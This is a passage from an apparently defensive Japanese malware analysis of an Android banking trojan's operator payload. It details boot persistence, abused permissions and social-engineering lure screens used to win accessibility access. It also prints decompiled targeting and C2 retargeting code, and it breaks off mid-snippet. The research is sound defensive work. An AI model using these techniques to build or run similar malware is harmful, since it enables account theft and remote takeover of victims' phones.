&lt;p&gt;顧客にとっての示唆は2つあります。第一に、オペレーター用ペイロードとは異なり、暗号資産マイナーには避けられない物理的な症状（バッテリー消費の増加、発熱、アイドル時のCPU使用率）があります。それ以外は正常な端末について、原因不明のバッテリーや発熱の問題が顧客から報告された場合、バンキング不正の指標とは独立した二次的なトリアージのシグナルとして利用できます。第二に、マイニングはバンキングでの成果にかかわらずすべての感染端末から収益を生むため、オペレーターには価値の高い標的を厳選する動機がありません。感染の広がりそのものが利益になり、それがキャンペーンへの継続的な投資を正当化しています。&lt;/p&gt;
&lt;h2 id="stage 4:オペレーター用ペイロード:アクセシビリティの悪用、画面キャプチャ、稼働中のc2"&gt;Stage 4：オペレーター用ペイロード：アクセシビリティの悪用、画面キャプチャ、稼働中のC2&lt;/h2&gt;
&lt;p&gt;Stage 4は、人間のオペレーターが直接操作するコンポーネントです。Stage 3が受動的な収益のために黙って動作するのに対し、Stage 4は対話型のリモートアクセスプラットフォームです。被害者をリアルタイムで監視し、価値の高い瞬間（バンキングアプリがフォアグラウンドにある、認証情報の入力を求められている、OTPが届いた）を待ち、オペレーターがそれらの瞬間をその場で見て、傍受し、操作できるようにします。使用する能力はすべて、技術的なエクスプロイトではなく、被害者が付与した権限を通じて提供されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;インストール、永続化、権限昇格&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;オペレーター用ペイロードは&lt;strong&gt;分割APKセット&lt;/strong&gt;として配信されます。ベースAPK、コード分割のDEX APK、リソース分割APKで構成されます。これはGoogle Playストアを通じて公開されるアプリが使用する配布形式であり、見かけ上の正当性を一段と高め、ペイロードを単一のアーティファクトとして取り出すことを難しくしています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;起動時の永続化&lt;/strong&gt;：マニフェストは、BOOT_COMPLETED、QUICKBOOT_POWERON、com.htc.intent.action.QUICKBOOT_POWERON、REBOOT、ACTION_SHUTDOWNに対して登録されたBootReceiver（connector.predictor.messenger.BootReceiver）を宣言しています。起動時に、レシーバーはユーザーが画面のロックを解除する前にフォアグラウンドサービスを開始します。ロック画面が表示される頃には、マルウェアはすでに実行されC2に接続しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;権限マニフェスト&lt;/strong&gt;：ペイロードは、オペレーター用ツールキット全体を反映した広範な権限セットを要求します。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;権限&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;運用上の目的&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;READ_SMS&lt;/td&gt;
&lt;td&gt;OTPの傍受、バンキングの2FAのバイパス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CAMERA&lt;/td&gt;
&lt;td&gt;端末のカメラへのアクセス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MANAGE_EXTERNAL_STORAGE&lt;/td&gt;
&lt;td&gt;ファイルの検索と持ち出し&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WRITE_EXTERNAL_STORAGE (maxSdk=29)&lt;/td&gt;
&lt;td&gt;旧バージョンのAndroidでのファイル書き込み&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;READ_EXTERNAL_STORAGE (maxSdk=32)&lt;/td&gt;
&lt;td&gt;旧バージョンのAndroidでのファイル読み取り&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;REQUEST_INSTALL_PACKAGES&lt;/td&gt;
&lt;td&gt;追加のペイロードを密かにインストール&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;REQUEST_DELETE_PACKAGES&lt;/td&gt;
&lt;td&gt;競合するアプリの削除や痕跡の隠蔽&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;QUERY_ALL_PACKAGES&lt;/td&gt;
&lt;td&gt;インストール済みアプリを列挙して標的を特定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FOREGROUND_SERVICE&lt;/td&gt;
&lt;td&gt;永続的なバックグラウンドサービスの実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FOREGROUND_SERVICE_MEDIA_PROJECTION&lt;/td&gt;
&lt;td&gt;永続的な画面キャプチャサービス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FOREGROUND_SERVICE_DATA_SYNC&lt;/td&gt;
&lt;td&gt;永続的なデータ同期サービス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FOREGROUND_SERVICE_SPECIAL_USE&lt;/td&gt;
&lt;td&gt;予約済みのフォアグラウンドサービス種別&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FOREGROUND_SERVICE_SYSTEM_EXEMPTED&lt;/td&gt;
&lt;td&gt;システム除外のフォアグラウンドサービスクラス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;POST_NOTIFICATIONS&lt;/td&gt;
&lt;td&gt;通知の表示（Android 13以降で必須）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VIBRATE&lt;/td&gt;
&lt;td&gt;端末の振動（フィッシング用ロック画面を補助）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FLASHLIGHT&lt;/td&gt;
&lt;td&gt;カメラのフラッシュの制御&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;INTERNET&lt;/td&gt;
&lt;td&gt;ネットワーク通信&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ACCESS_WIFI_STATE / ACCESS_NETWORK_STATE&lt;/td&gt;
&lt;td&gt;ネットワーク状態に応じた挙動&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WAKE_LOCK&lt;/td&gt;
&lt;td&gt;画面の状態にかかわらずCPUを動作させ続ける&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;REQUEST_IGNORE_BATTERY_OPTIMIZATIONS&lt;/td&gt;
&lt;td&gt;OSによるバックグラウンドサービスの終了を防止&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;USE_EXACT_ALARM / SET_ALARM&lt;/td&gt;
&lt;td&gt;正確な起動イベントのスケジュール&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION（カスタム）&lt;/td&gt;
&lt;td&gt;内部レシーバーを外部からの呼び出しから保護&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;運用上決定的な2つの権限、アクセシビリティサービスと画面キャプチャは、マニフェストだけでは付与されません。どちらも、ユーザーがシステムレベルのUIを通じて有効化する必要があります。ルアーキットはそれらを手に入れるために存在します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ルアーキット：権限獲得の手段としてのソーシャルエンジニアリング&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;ペイロードには、HTMLで作られた偽画面のセットが埋め込まれており、APK内に暗号化して保存され、実行時にデコードされます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;偽のアクセシビリティ設定ガイド&lt;/strong&gt;（acs_mi、acs_sm、acs_els）：必要なセットアップであるかのように見せかけ、悪意のあるアクセシビリティサービスを有効化する手順へと被害者を誘導&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;偽のVPN必須画面&lt;/strong&gt;（vpn_required）：緊急性を演出し、本来なら疑わしいアクセスを正当化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;偽のアップデートと初期化のフロー&lt;/strong&gt;（up_require、launcher、s1s2s3s4）：下流のコンポーネントのインストール中に疑いを和らげる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証情報の取得&lt;/strong&gt;（1.decoded）：信頼されたサービスに似せたスタイルの汎用フォーム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PINとパスワードのロック画面&lt;/strong&gt;（2.decoded、3.decoded）：端末のロック解除の認証情報を傍受したり、フィッシングのフローを配信したりする&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="偽のアクセシビリティ有効化画面。悪意のあるアクセシビリティサービスを有効化させるために被害者に表示されるソーシャルエンジニアリング用のページ。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-28_ebl_malware_analysis_article/Pasted image 20260413182747.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図3：偽のアクセシビリティ有効化画面。悪意のあるアクセシビリティサービスを有効化させるために被害者に表示されるソーシャルエンジニアリング用のページ。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="偽のアプリアップデート／VPN必須／読み込みのフロー。被害者の信頼を維持し、権限を持続させる口実を作るために使われる二次的なルアー画面。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-28_ebl_malware_analysis_article/Pasted-image-20260413183003.jpg"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図4：偽のアプリアップデート／VPN必須／読み込みのフロー。被害者の信頼を維持し、権限を持続させる口実を作るために使われる二次的なルアー画面。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;これは&lt;strong&gt;単一のプロンプトではなくワークフロー&lt;/strong&gt;です。マルウェアはすべてを一度に要求するわけではありません。正規に見えるセットアップ画面で信頼を獲得し、付与するのが自然に感じられる文脈でアクセシビリティを要求し、アクセシビリティを使ってその後の要求を通りやすくします。直接のアクセシビリティのプロンプトなら拒否する被害者でも、定型的なアップデートのフローの4番目の手順としてであれば、はるかに付与しやすくなります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アクセシビリティの悪用によってオペレーターが実際に得るもの&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;被害者が悪意のあるアクセシビリティサービスを有効にすると、端末上の力関係が変わります。AndroidのアクセシビリティAPIは正規の用途（スクリーンリーダー、スイッチアクセスツール）のために設計されていますが、それが公開する能力、つまり任意のUI要素の読み取り、任意のタッチのシミュレーション、キーイベントの傍受は、まさにリモートのオペレーターが必要とするものです。復元したサービス設定は、最大限の範囲を要求しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;能力&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;値&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;イベントの取得&lt;/td&gt;
&lt;td&gt;typeAllMask（端末上のすべてのUIイベント）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;パッケージフィルター&lt;/td&gt;
&lt;td&gt;なし（制限なし。すべてのアプリを同等に監視）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ウィンドウの内容を取得可能&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ジェスチャーを実行可能&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;スクリーンショットを取得可能&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;キーイベントのフィルタリングを要求可能&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;フラグ&lt;/td&gt;
&lt;td&gt;flagRetrieveInteractiveWindows, flagReportViewIds, flagRequestEnhancedWebAccessibility, flagRequestTouchExplorationMode, flagIncludeNotImportantViews, flagDefault&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;em&gt;（出典：&lt;/em&gt;&lt;em&gt;res/xml/aujijdshciyxu.xml&lt;/em&gt;&lt;em&gt;）&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;これは端末の監視と遠隔操作のための完全な基盤です。オペレーターは、あらゆるUI要素を読み取り、任意のボタンをタップし、任意のフォームを送信し、キー入力を傍受し、スクリーンショットを取得できます。しかもそのすべてを、堅牢化されたバンキングアプリを含むあらゆるアプリケーションの内部で行えます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;標的設定のロジック&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;サービスはフォアグラウンドのアプリの切り替わりを監視し、新たにアクティブになったアプリを標的リストと照合します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// APK: connector.predictor.messenger &amp;mdash; split DEX&lt;/span&gt;
&lt;span class="c1"&gt;// JADX source: connector/predictor/messenger/posvvhbqnqa.java&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// Note: Analytical abstraction &amp;mdash; obfuscated rf0.a() calls replaced with decoded values.&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// On every foreground app transition, the accessibility service checks two conditions:&lt;/span&gt;
&lt;span class="c1"&gt;// (1) tracking is enabled in shared preferences (re.e0), and&lt;/span&gt;
&lt;span class="c1"&gt;// (2) the runtime target map (s.i / s.j / s.k) has at least one entry.&lt;/span&gt;
&lt;span class="c1"&gt;// If both are true, it iterates the target map comparing the current&lt;/span&gt;
&lt;span class="c1"&gt;// foreground package name and browser URL against stored target values.&lt;/span&gt;
&lt;span class="c1"&gt;// When mode 'G' (phishing/monitoring activation) matches, t() is called&lt;/span&gt;
&lt;span class="c1"&gt;// to trigger the next stage of the attack against that specific app.&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;r00&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getApplicationContext&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;e0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;h&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r00&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getApplicationContext&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* ... */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;i&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;entrySet&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getKey&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;str10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getValue&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ltrk: URL/domain tracker value&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;str11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;j&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str17&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// itrk: package name to match&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;str12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;k&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str17&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// ityp: activation mode&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;B0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str16&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str11&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str15&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str12&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "G" */&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// mode 'G' = active phishing&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;getApplicationContext&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// trigger phishing/interaction flow&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// else-branch: passive monitoring mode &amp;mdash; captures the foreground app's&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// 144&amp;times;144 icon, encodes it as PNG, and schedules a Timer task (new e(...))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// after an 800ms delay to report the foreground-app transition upstream.&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;少なくとも2つの起動モードが存在する&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;モードGは能動的なフィッシングを起動します。elseブランチは受動的な監視モードです。フォアグラウンドのアプリが切り替わるたびに（フィッシングの標的だけでなく&lt;em&gt;あらゆる&lt;/em&gt;アプリで）、サービスはそのアプリの144&amp;times;144のアイコンをPNGとして取得し、遅延させた報告をスケジュールします。オペレーターは、能動的なフィッシングのリストとは無関係に、被害者がどのアプリを使っているかを継続的に把握できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;標的マップはハードコードではなく実行時に設定される&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;バンキングアプリケーションのパッケージ名の静的なリストは、サンプルのどこからも復元されませんでした。マップs.i、s.j、s.kは、オペレーターが標的の定義を送り込むまで空のままです。復元したC2コマンドディスパッチャー（d0.java、コマンドケース4）がその仕組みを示しています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// APK: connector.predictor.messenger &amp;mdash; split DEX&lt;/span&gt;
&lt;span class="c1"&gt;// JADX source: sources/connector/predictor/messenger/d0.java (L1271&amp;ndash;1284)&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// C2 command case 4: the operator sends a JSON object containing&lt;/span&gt;
&lt;span class="c1"&gt;// ntrk (tracker ID), ltrk (URL/domain), itrk (package name), and ityp (mode).&lt;/span&gt;
&lt;span class="c1"&gt;// The connector immediately inserts these values into the live target maps,&lt;/span&gt;
&lt;span class="c1"&gt;// enabling real-time retargeting to any application without requiring&lt;/span&gt;
&lt;span class="c1"&gt;// a new APK or any action from the victim.&lt;/span&gt;

&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strOptString5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "ntrk" */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strOptString6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;optString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* "ltrk" */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
